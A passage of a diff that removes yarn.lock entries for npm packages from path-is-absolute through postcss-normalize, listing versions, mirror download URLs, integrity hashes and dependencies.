-path-is-absolute@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/path-is-absolute/download/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f"
-  integrity sha1-F0uSaHNVNP+8es5r9TpanhtcX18=
-
-path-is-inside@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/path-is-inside/download/path-is-inside-1.0.2.tgz#365417dede44430d1c11af61027facf074bdfc53"
-  integrity sha1-NlQX3t5EQw0cEa9hAn+s8HS9/FM=
-
-path-key@^2.0.0, path-key@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/path-key/download/path-key-2.0.1.tgz?cache=0&sync_timestamp=1617971632960&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpath-key%2Fdownload%2Fpath-key-2.0.1.tgz#411cadb574c5a140d3a4b1910d40d80cc9f40b40"
-  integrity sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=
-
-path-key@^3.0.0, path-key@^3.1.0:
-  version "3.1.1"
-  resolved "https://registry.npm.taobao.org/path-key/download/path-key-3.1.1.tgz?cache=0&sync_timestamp=1617971632960&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpath-key%2Fdownload%2Fpath-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375"
-  integrity sha1-WB9q3mWMu6ZaDTOA3ndTKVBU83U=
-
-path-parse@^1.0.6:
-  version "1.0.7"
-  resolved "https://registry.nlark.com/path-parse/download/path-parse-1.0.7.tgz#fbc114b60ca42b30d9daf5858e4bd68bbedb6735"
-  integrity sha1-+8EUtgykKzDZ2vWFjkvWi77bZzU=
-
-path-to-regexp@0.1.7:
-  version "0.1.7"
-  resolved "https://registry.npm.taobao.org/path-to-regexp/download/path-to-regexp-0.1.7.tgz#df604178005f522f15eb4490e7247a1bfaa67f8c"
-  integrity sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=
-
-path-type@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/path-type/download/path-type-3.0.0.tgz#cef31dc8e0a1a3bb0d105c0cd97cf3bf47f4e36f"
-  integrity sha1-zvMdyOCho7sNEFwM2Xzzv0f0428=
-  dependencies:
-    pify "^3.0.0"
-
-path-type@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/path-type/download/path-type-4.0.0.tgz#84ed01c0a7ba380afe09d90a8c180dcd9d03043b"
-  integrity sha1-hO0BwKe6OAr+CdkKjBgNzZ0DBDs=
-
-pbkdf2@^3.0.3:
-  version "3.1.2"
-  resolved "https://registry.npm.taobao.org/pbkdf2/download/pbkdf2-3.1.2.tgz?cache=0&sync_timestamp=1617975984684&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpbkdf2%2Fdownload%2Fpbkdf2-3.1.2.tgz#dd822aa0887580e52f1a039dc3eda108efae3075"
-  integrity sha1-3YIqoIh1gOUvGgOdw+2hCO+uMHU=
-  dependencies:
-    create-hash "^1.1.2"
-    create-hmac "^1.1.4"
-    ripemd160 "^2.0.1"
-    safe-buffer "^5.0.1"
-    sha.js "^2.4.8"
-
-performance-now@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/performance-now/download/performance-now-2.1.0.tgz#6309f4e0e5fa913ec1c69307ae364b4b377c9e7b"
-  integrity sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=
-
-picomatch@^2.0.4, picomatch@^2.2.1, picomatch@^2.2.2, picomatch@^2.2.3:
-  version "2.3.0"
-  resolved "https://registry.nlark.com/picomatch/download/picomatch-2.3.0.tgz#f1f061de8f6a4bf022892e2d128234fb98302972"
-  integrity sha1-8fBh3o9qS/AiiS4tEoI0+5gwKXI=
-
-pify@^2.0.0:
-  version "2.3.0"
-  resolved "https://registry.npm.taobao.org/pify/download/pify-2.3.0.tgz#ed141a6ac043a849ea588498e7dca8b15330e90c"
-  integrity sha1-7RQaasBDqEnqWISY59yosVMw6Qw=
-
-pify@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/pify/download/pify-3.0.0.tgz#e5a4acd2c101fdf3d9a4d07f0dbc4db49dd28176"
-  integrity sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=
-
-pify@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.npm.taobao.org/pify/download/pify-4.0.1.tgz#4b2cd25c50d598735c50292224fd8c6df41e3231"
-  integrity sha1-SyzSXFDVmHNcUCkiJP2MbfQeMjE=
-
-pinkie-promise@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/pinkie-promise/download/pinkie-promise-2.0.1.tgz#2135d6dfa7a358c069ac9b178776288228450ffa"
-  integrity sha1-ITXW36ejWMBprJsXh3YogihFD/o=
-  dependencies:
-    pinkie "^2.0.0"
-
-pinkie@^2.0.0:
-  version "2.0.4"
-  resolved "https://registry.nlark.com/pinkie/download/pinkie-2.0.4.tgz#72556b80cfa0d48a974e80e77248e80ed4f7f870"
-  integrity sha1-clVrgM+g1IqXToDnckjoDtT3+HA=
-
-pirates@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.npm.taobao.org/pirates/download/pirates-4.0.1.tgz#643a92caf894566f91b2b986d2c66950a8e2fb87"
-  integrity sha1-ZDqSyviUVm+RsrmG0sZpUKji+4c=
-  dependencies:
-    node-modules-regexp "^1.0.0"
-
-pkg-dir@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/pkg-dir/download/pkg-dir-2.0.0.tgz#f6d5d1109e19d63edf428e0bd57e12777615334b"
-  integrity sha1-9tXREJ4Z1j7fQo4L1X4Sd3YVM0s=
-  dependencies:
-    find-up "^2.1.0"
-
-pkg-dir@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/pkg-dir/download/pkg-dir-3.0.0.tgz#2749020f239ed990881b1f71210d51eb6523bea3"
-  integrity sha1-J0kCDyOe2ZCIGx9xIQ1R62UjvqM=
-  dependencies:
-    find-up "^3.0.0"
-
-pkg-dir@^4.1.0, pkg-dir@^4.2.0:
-  version "4.2.0"
-  resolved "https://registry.npm.taobao.org/pkg-dir/download/pkg-dir-4.2.0.tgz#f099133df7ede422e81d1d8448270eeb3e4261f3"
-  integrity sha1-8JkTPfft5CLoHR2ESCcO6z5CYfM=
-  dependencies:
-    find-up "^4.0.0"
-
-pkg-up@3.1.0:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/pkg-up/download/pkg-up-3.1.0.tgz#100ec235cc150e4fd42519412596a28512a0def5"
-  integrity sha1-EA7CNcwVDk/UJRlBJZaihRKg3vU=
-  dependencies:
-    find-up "^3.0.0"
-
-pkg-up@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/pkg-up/download/pkg-up-2.0.0.tgz#c819ac728059a461cab1c3889a2be3c49a004d7f"
-  integrity sha1-yBmscoBZpGHKscOImivjxJoATX8=
-  dependencies:
-    find-up "^2.1.0"
-
-pnp-webpack-plugin@1.6.4:
-  version "1.6.4"
-  resolved "https://registry.npm.taobao.org/pnp-webpack-plugin/download/pnp-webpack-plugin-1.6.4.tgz#c9711ac4dc48a685dabafc86f8b6dd9f8df84149"
-  integrity sha1-yXEaxNxIpoXauvyG+Lbdn434QUk=
-  dependencies:
-    ts-pnp "^1.1.6"
-
-portfinder@^1.0.26:
-  version "1.0.28"
-  resolved "https://registry.npm.taobao.org/portfinder/download/portfinder-1.0.28.tgz#67c4622852bd5374dd1dd900f779f53462fac778"
-  integrity sha1-Z8RiKFK9U3TdHdkA93n1NGL6x3g=
-  dependencies:
-    async "^2.6.2"
-    debug "^3.1.1"
-    mkdirp "^0.5.5"
-
-posix-character-classes@^0.1.0:
-  version "0.1.1"
-  resolved "https://registry.npm.taobao.org/posix-character-classes/download/posix-character-classes-0.1.1.tgz#01eac0fe3b5af71a2a6c02feabb8c1fef7e00eab"
-  integrity sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=
-
-postcss-attribute-case-insensitive@^4.0.1:
-  version "4.0.2"
-  resolved "https://registry.npm.taobao.org/postcss-attribute-case-insensitive/download/postcss-attribute-case-insensitive-4.0.2.tgz#d93e46b504589e94ac7277b0463226c68041a880"
-  integrity sha1-2T5GtQRYnpSscnewRjImxoBBqIA=
-  dependencies:
-    postcss "^7.0.2"
-    postcss-selector-parser "^6.0.2"
-
-postcss-browser-comments@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/postcss-browser-comments/download/postcss-browser-comments-3.0.0.tgz?cache=0&sync_timestamp=1619681938425&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-browser-comments%2Fdownload%2Fpostcss-browser-comments-3.0.0.tgz#1248d2d935fb72053c8e1f61a84a57292d9f65e9"
-  integrity sha1-EkjS2TX7cgU8jh9hqEpXKS2fZek=
-  dependencies:
-    postcss "^7"
-
-postcss-calc@^7.0.1:
-  version "7.0.5"
-  resolved "https://registry.nlark.com/postcss-calc/download/postcss-calc-7.0.5.tgz#f8a6e99f12e619c2ebc23cf6c486fdc15860933e"
-  integrity sha1-+KbpnxLmGcLrwjz2xIb9wVhgkz4=
-  dependencies:
-    postcss "^7.0.27"
-    postcss-selector-parser "^6.0.2"
-    postcss-value-parser "^4.0.2"
-
-postcss-color-functional-notation@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/postcss-color-functional-notation/download/postcss-color-functional-notation-2.0.1.tgz#5efd37a88fbabeb00a2966d1e53d98ced93f74e0"
-  integrity sha1-Xv03qI+6vrAKKWbR5T2Yztk/dOA=
-  dependencies:
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-color-gray@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-color-gray/download/postcss-color-gray-5.0.0.tgz#532a31eb909f8da898ceffe296fdc1f864be8547"
-  integrity sha1-Uyox65CfjaiYzv/ilv3B+GS+hUc=
-  dependencies:
-    "@csstools/convert-colors" "^1.4.0"
-    postcss "^7.0.5"
-    postcss-values-parser "^2.0.0"
-
-postcss-color-hex-alpha@^5.0.3:
-  version "5.0.3"
-  resolved "https://registry.npm.taobao.org/postcss-color-hex-alpha/download/postcss-color-hex-alpha-5.0.3.tgz?cache=0&sync_timestamp=1610465161268&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-color-hex-alpha%2Fdownload%2Fpostcss-color-hex-alpha-5.0.3.tgz#a8d9ca4c39d497c9661e374b9c51899ef0f87388"
-  integrity sha1-qNnKTDnUl8lmHjdLnFGJnvD4c4g=
-  dependencies:
-    postcss "^7.0.14"
-    postcss-values-parser "^2.0.1"
-
-postcss-color-mod-function@^3.0.3:
-  version "3.0.3"
-  resolved "https://registry.npm.taobao.org/postcss-color-mod-function/download/postcss-color-mod-function-3.0.3.tgz#816ba145ac11cc3cb6baa905a75a49f903e4d31d"
-  integrity sha1-gWuhRawRzDy2uqkFp1pJ+QPk0x0=
-  dependencies:
-    "@csstools/convert-colors" "^1.4.0"
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-color-rebeccapurple@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.npm.taobao.org/postcss-color-rebeccapurple/download/postcss-color-rebeccapurple-4.0.1.tgz#c7a89be872bb74e45b1e3022bfe5748823e6de77"
-  integrity sha1-x6ib6HK7dORbHjAiv+V0iCPm3nc=
-  dependencies:
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-colormin@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.nlark.com/postcss-colormin/download/postcss-colormin-4.0.3.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-colormin%2Fdownload%2Fpostcss-colormin-4.0.3.tgz#ae060bce93ed794ac71264f08132d550956bd381"
-  integrity sha1-rgYLzpPteUrHEmTwgTLVUJVr04E=
-  dependencies:
-    browserslist "^4.0.0"
-    color "^3.0.0"
-    has "^1.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-convert-values@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/postcss-convert-values/download/postcss-convert-values-4.0.1.tgz#ca3813ed4da0f812f9d43703584e449ebe189a7f"
-  integrity sha1-yjgT7U2g+BL51DcDWE5Enr4Ymn8=
-  dependencies:
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-custom-media@^7.0.8:
-  version "7.0.8"
-  resolved "https://registry.npm.taobao.org/postcss-custom-media/download/postcss-custom-media-7.0.8.tgz#fffd13ffeffad73621be5f387076a28b00294e0c"
-  integrity sha1-//0T/+/61zYhvl84cHaiiwApTgw=
-  dependencies:
-    postcss "^7.0.14"
-
-postcss-custom-properties@^8.0.11:
-  version "8.0.11"
-  resolved "https://registry.npm.taobao.org/postcss-custom-properties/download/postcss-custom-properties-8.0.11.tgz#2d61772d6e92f22f5e0d52602df8fae46fa30d97"
-  integrity sha1-LWF3LW6S8i9eDVJgLfj65G+jDZc=
-  dependencies:
-    postcss "^7.0.17"
-    postcss-values-parser "^2.0.1"
-
-postcss-custom-selectors@^5.1.2:
-  version "5.1.2"
-  resolved "https://registry.npm.taobao.org/postcss-custom-selectors/download/postcss-custom-selectors-5.1.2.tgz#64858c6eb2ecff2fb41d0b28c9dd7b3db4de7fba"
-  integrity sha1-ZIWMbrLs/y+0HQsoyd17PbTef7o=
-  dependencies:
-    postcss "^7.0.2"
-    postcss-selector-parser "^5.0.0-rc.3"
-
-postcss-dir-pseudo-class@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-dir-pseudo-class/download/postcss-dir-pseudo-class-5.0.0.tgz#6e3a4177d0edb3abcc85fdb6fbb1c26dabaeaba2"
-  integrity sha1-bjpBd9Dts6vMhf22+7HCbauuq6I=
-  dependencies:
-    postcss "^7.0.2"
-    postcss-selector-parser "^5.0.0-rc.3"
-
-postcss-discard-comments@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-discard-comments/download/postcss-discard-comments-4.0.2.tgz#1fbabd2c246bff6aaad7997b2b0918f4d7af4033"
-  integrity sha1-H7q9LCRr/2qq15l7KwkY9NevQDM=
-  dependencies:
-    postcss "^7.0.0"
-
-postcss-discard-duplicates@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-discard-duplicates/download/postcss-discard-duplicates-4.0.2.tgz#3fe133cd3c82282e550fc9b239176a9207b784eb"
-  integrity sha1-P+EzzTyCKC5VD8myORdqkge3hOs=
-  dependencies:
-    postcss "^7.0.0"
-
-postcss-discard-empty@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/postcss-discard-empty/download/postcss-discard-empty-4.0.1.tgz#c8c951e9f73ed9428019458444a02ad90bb9f765"
-  integrity sha1-yMlR6fc+2UKAGUWERKAq2Qu592U=
-  dependencies:
-    postcss "^7.0.0"
-
-postcss-discard-overridden@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/postcss-discard-overridden/download/postcss-discard-overridden-4.0.1.tgz#652aef8a96726f029f5e3e00146ee7a4e755ff57"
-  integrity sha1-ZSrvipZybwKfXj4AFG7npOdV/1c=
-  dependencies:
-    postcss "^7.0.0"
-
-postcss-double-position-gradients@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-double-position-gradients/download/postcss-double-position-gradients-1.0.0.tgz#fc927d52fddc896cb3a2812ebc5df147e110522e"
-  integrity sha1-/JJ9Uv3ciWyzooEuvF3xR+EQUi4=
-  dependencies:
-    postcss "^7.0.5"
-    postcss-values-parser "^2.0.0"
-
-postcss-env-function@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/postcss-env-function/download/postcss-env-function-2.0.2.tgz#0f3e3d3c57f094a92c2baf4b6241f0b0da5365d7"
-  integrity sha1-Dz49PFfwlKksK69LYkHwsNpTZdc=
-  dependencies:
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-flexbugs-fixes@4.2.1:
-  version "4.2.1"
-  resolved "https://registry.npm.taobao.org/postcss-flexbugs-fixes/download/postcss-flexbugs-fixes-4.2.1.tgz#9218a65249f30897deab1033aced8578562a6690"
-  integrity sha1-khimUknzCJfeqxAzrO2FeFYqZpA=
-  dependencies:
-    postcss "^7.0.26"
-
-postcss-focus-visible@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-focus-visible/download/postcss-focus-visible-4.0.0.tgz#477d107113ade6024b14128317ade2bd1e17046e"
-  integrity sha1-R30QcROt5gJLFBKDF63ivR4XBG4=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-focus-within@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-focus-within/download/postcss-focus-within-3.0.0.tgz#763b8788596cee9b874c999201cdde80659ef680"
-  integrity sha1-djuHiFls7puHTJmSAc3egGWe9oA=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-font-variant@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.npm.taobao.org/postcss-font-variant/download/postcss-font-variant-4.0.1.tgz#42d4c0ab30894f60f98b17561eb5c0321f502641"
-  integrity sha1-QtTAqzCJT2D5ixdWHrXAMh9QJkE=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-gap-properties@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-gap-properties/download/postcss-gap-properties-2.0.0.tgz#431c192ab3ed96a3c3d09f2ff615960f902c1715"
-  integrity sha1-QxwZKrPtlqPD0J8v9hWWD5AsFxU=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-image-set-function@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.npm.taobao.org/postcss-image-set-function/download/postcss-image-set-function-3.0.1.tgz#28920a2f29945bed4c3198d7df6496d410d3f288"
-  integrity sha1-KJIKLymUW+1MMZjX32SW1BDT8og=
-  dependencies:
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-initial@^3.0.0:
-  version "3.0.4"
-  resolved "https://registry.npm.taobao.org/postcss-initial/download/postcss-initial-3.0.4.tgz?cache=0&sync_timestamp=1618435188850&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-initial%2Fdownload%2Fpostcss-initial-3.0.4.tgz#9d32069a10531fe2ecafa0b6ac750ee0bc7efc53"
-  integrity sha1-nTIGmhBTH+Lsr6C2rHUO4Lx+/FM=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-lab-function@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/postcss-lab-function/download/postcss-lab-function-2.0.1.tgz#bb51a6856cd12289ab4ae20db1e3821ef13d7d2e"
-  integrity sha1-u1GmhWzRIomrSuINseOCHvE9fS4=
-  dependencies:
-    "@csstools/convert-colors" "^1.4.0"
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-load-config@^2.0.0:
-  version "2.1.2"
-  resolved "https://registry.npm.taobao.org/postcss-load-config/download/postcss-load-config-2.1.2.tgz#c5ea504f2c4aef33c7359a34de3573772ad7502a"
-  integrity sha1-xepQTyxK7zPHNZo03jVzdyrXUCo=
-  dependencies:
-    cosmiconfig "^5.0.0"
-    import-cwd "^2.0.0"
-
-postcss-loader@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/postcss-loader/download/postcss-loader-3.0.0.tgz#6b97943e47c72d845fa9e03f273773d4e8dd6c2d"
-  integrity sha1-a5eUPkfHLYRfqeA/Jzdz1OjdbC0=
-  dependencies:
-    loader-utils "^1.1.0"
-    postcss "^7.0.0"
-    postcss-load-config "^2.0.0"
-    schema-utils "^1.0.0"
-
-postcss-logical@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-logical/download/postcss-logical-3.0.0.tgz#2495d0f8b82e9f262725f75f9401b34e7b45d5b5"
-  integrity sha1-JJXQ+LgunyYnJfdflAGzTntF1bU=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-media-minmax@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-media-minmax/download/postcss-media-minmax-4.0.0.tgz#b75bb6cbc217c8ac49433e12f22048814a4f5ed5"
-  integrity sha1-t1u2y8IXyKxJQz4S8iBIgUpPXtU=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-merge-longhand@^4.0.11:
-  version "4.0.11"
-  resolved "https://registry.nlark.com/postcss-merge-longhand/download/postcss-merge-longhand-4.0.11.tgz#62f49a13e4a0ee04e7b98f42bb16062ca2549e24"
-  integrity sha1-YvSaE+Sg7gTnuY9CuxYGLKJUniQ=
-  dependencies:
-    css-color-names "0.0.4"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-    stylehacks "^4.0.0"
-
-postcss-merge-rules@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.nlark.com/postcss-merge-rules/download/postcss-merge-rules-4.0.3.tgz#362bea4ff5a1f98e4075a713c6cb25aefef9a650"
-  integrity sha1-NivqT/Wh+Y5AdacTxsslrv75plA=
-  dependencies:
-    browserslist "^4.0.0"
-    caniuse-api "^3.0.0"
-    cssnano-util-same-parent "^4.0.0"
-    postcss "^7.0.0"
-    postcss-selector-parser "^3.0.0"
-    vendors "^1.0.0"
-
-postcss-minify-font-values@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-minify-font-values/download/postcss-minify-font-values-4.0.2.tgz#cd4c344cce474343fac5d82206ab2cbcb8afd5a6"
-  integrity sha1-zUw0TM5HQ0P6xdgiBqssvLiv1aY=
-  dependencies:
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-minify-gradients@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-minify-gradients/download/postcss-minify-gradients-4.0.2.tgz#93b29c2ff5099c535eecda56c4aa6e665a663471"
-  integrity sha1-k7KcL/UJnFNe7NpWxKpuZlpmNHE=
-  dependencies:
-    cssnano-util-get-arguments "^4.0.0"
-    is-color-stop "^1.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-minify-params@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-minify-params/download/postcss-minify-params-4.0.2.tgz#6b9cef030c11e35261f95f618c90036d680db874"
-  integrity sha1-a5zvAwwR41Jh+V9hjJADbWgNuHQ=
-  dependencies:
-    alphanum-sort "^1.0.0"
-    browserslist "^4.0.0"
-    cssnano-util-get-arguments "^4.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-    uniqs "^2.0.0"
-
-postcss-minify-selectors@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-minify-selectors/download/postcss-minify-selectors-4.0.2.tgz#e2e5eb40bfee500d0cd9243500f5f8ea4262fbd8"
-  integrity sha1-4uXrQL/uUA0M2SQ1APX46kJi+9g=
-  dependencies:
-    alphanum-sort "^1.0.0"
-    has "^1.0.0"
-    postcss "^7.0.0"
-    postcss-selector-parser "^3.0.0"
-
-postcss-modules-extract-imports@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-modules-extract-imports/download/postcss-modules-extract-imports-2.0.0.tgz#818719a1ae1da325f9832446b01136eeb493cd7e"
-  integrity sha1-gYcZoa4doyX5gyRGsBE27rSTzX4=
-  dependencies:
-    postcss "^7.0.5"
-
-postcss-modules-local-by-default@^3.0.3:
-  version "3.0.3"
-  resolved "https://registry.npm.taobao.org/postcss-modules-local-by-default/download/postcss-modules-local-by-default-3.0.3.tgz?cache=0&sync_timestamp=1602587625149&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-modules-local-by-default%2Fdownload%2Fpostcss-modules-local-by-default-3.0.3.tgz#bb14e0cc78279d504dbdcbfd7e0ca28993ffbbb0"
-  integrity sha1-uxTgzHgnnVBNvcv9fgyiiZP/u7A=
-  dependencies:
-    icss-utils "^4.1.1"
-    postcss "^7.0.32"
-    postcss-selector-parser "^6.0.2"
-    postcss-value-parser "^4.1.0"
-
-postcss-modules-scope@^2.2.0:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/postcss-modules-scope/download/postcss-modules-scope-2.2.0.tgz#385cae013cc7743f5a7d7602d1073a89eaae62ee"
-  integrity sha1-OFyuATzHdD9afXYC0Qc6iequYu4=
-  dependencies:
-    postcss "^7.0.6"
-    postcss-selector-parser "^6.0.0"
-
-postcss-modules-values@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-modules-values/download/postcss-modules-values-3.0.0.tgz?cache=0&sync_timestamp=1602586215124&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-modules-values%2Fdownload%2Fpostcss-modules-values-3.0.0.tgz#5b5000d6ebae29b4255301b4a3a54574423e7f10"
-  integrity sha1-W1AA1uuuKbQlUwG0o6VFdEI+fxA=
-  dependencies:
-    icss-utils "^4.0.0"
-    postcss "^7.0.6"
-
-postcss-nesting@^7.0.0:
-  version "7.0.1"
-  resolved "https://registry.nlark.com/postcss-nesting/download/postcss-nesting-7.0.1.tgz?cache=0&sync_timestamp=1619923629010&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-nesting%2Fdownload%2Fpostcss-nesting-7.0.1.tgz#b50ad7b7f0173e5b5e3880c3501344703e04c052"
-  integrity sha1-tQrXt/AXPlteOIDDUBNEcD4EwFI=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-normalize-charset@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/postcss-normalize-charset/download/postcss-normalize-charset-4.0.1.tgz#8b35add3aee83a136b0471e0d59be58a50285dd4"
-  integrity sha1-izWt067oOhNrBHHg1ZvlilAoXdQ=
-  dependencies:
-    postcss "^7.0.0"
-
-postcss-normalize-display-values@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-normalize-display-values/download/postcss-normalize-display-values-4.0.2.tgz#0dbe04a4ce9063d4667ed2be476bb830c825935a"
-  integrity sha1-Db4EpM6QY9RmftK+R2u4MMglk1o=
-  dependencies:
-    cssnano-util-get-match "^4.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-positions@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-normalize-positions/download/postcss-normalize-positions-4.0.2.tgz#05f757f84f260437378368a91f8932d4b102917f"
-  integrity sha1-BfdX+E8mBDc3g2ipH4ky1LECkX8=
-  dependencies:
-    cssnano-util-get-arguments "^4.0.0"
-    has "^1.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-repeat-style@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-normalize-repeat-style/download/postcss-normalize-repeat-style-4.0.2.tgz#c4ebbc289f3991a028d44751cbdd11918b17910c"
-  integrity sha1-xOu8KJ85kaAo1EdRy90RkYsXkQw=
-  dependencies:
-    cssnano-util-get-arguments "^4.0.0"
-    cssnano-util-get-match "^4.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-string@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-normalize-string/download/postcss-normalize-string-4.0.2.tgz#cd44c40ab07a0c7a36dc5e99aace1eca4ec2690c"
-  integrity sha1-zUTECrB6DHo23F6Zqs4eyk7CaQw=
-  dependencies:
-    has "^1.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-timing-functions@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-normalize-timing-functions/download/postcss-normalize-timing-functions-4.0.2.tgz#8e009ca2a3949cdaf8ad23e6b6ab99cb5e7d28d9"
-  integrity sha1-jgCcoqOUnNr4rSPmtquZy159KNk=
-  dependencies:
-    cssnano-util-get-match "^4.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-unicode@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/postcss-normalize-unicode/download/postcss-normalize-unicode-4.0.1.tgz#841bd48fdcf3019ad4baa7493a3d363b52ae1cfb"
-  integrity sha1-hBvUj9zzAZrUuqdJOj02O1KuHPs=
-  dependencies:
-    browserslist "^4.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-url@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/postcss-normalize-url/download/postcss-normalize-url-4.0.1.tgz#10e437f86bc7c7e58f7b9652ed878daaa95faae1"
-  integrity sha1-EOQ3+GvHx+WPe5ZS7YeNqqlfquE=
-  dependencies:
-    is-absolute-url "^2.0.0"
-    normalize-url "^3.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize-whitespace@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-normalize-whitespace/download/postcss-normalize-whitespace-4.0.2.tgz#bf1d4070fe4fcea87d1348e825d8cc0c5faa7d82"
-  integrity sha1-vx1AcP5Pzqh9E0joJdjMDF+qfYI=
-  dependencies:
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-normalize@8.0.1:
-  version "8.0.1"
